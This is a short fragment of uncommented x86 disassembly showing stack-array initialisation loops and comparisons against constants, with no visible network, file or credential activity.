mov dword [ebp - 0x24], ecx
jmp 0x1003bfd1
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], edi
jge 0x1003bfc6
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x880], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1003bfb1
push 5
pop eax
cmp dword [ebp - 0x880], ebx
jne 0x1003bfd6
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jne 0x1003bfa9
xor ecx, ecx
mov dword [ebp - 0x14], 0xffffffff
inc ecx
push 0xfffffffffffffffb
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x10], ebx
pop esi
jmp 0x1003bff8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x8f0], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1003bfeb
mov dword [ebp - 0x14], 0xffffffed
cmp dword [ebp - 0x14], 0xffffffef
jl 0x1003c0d5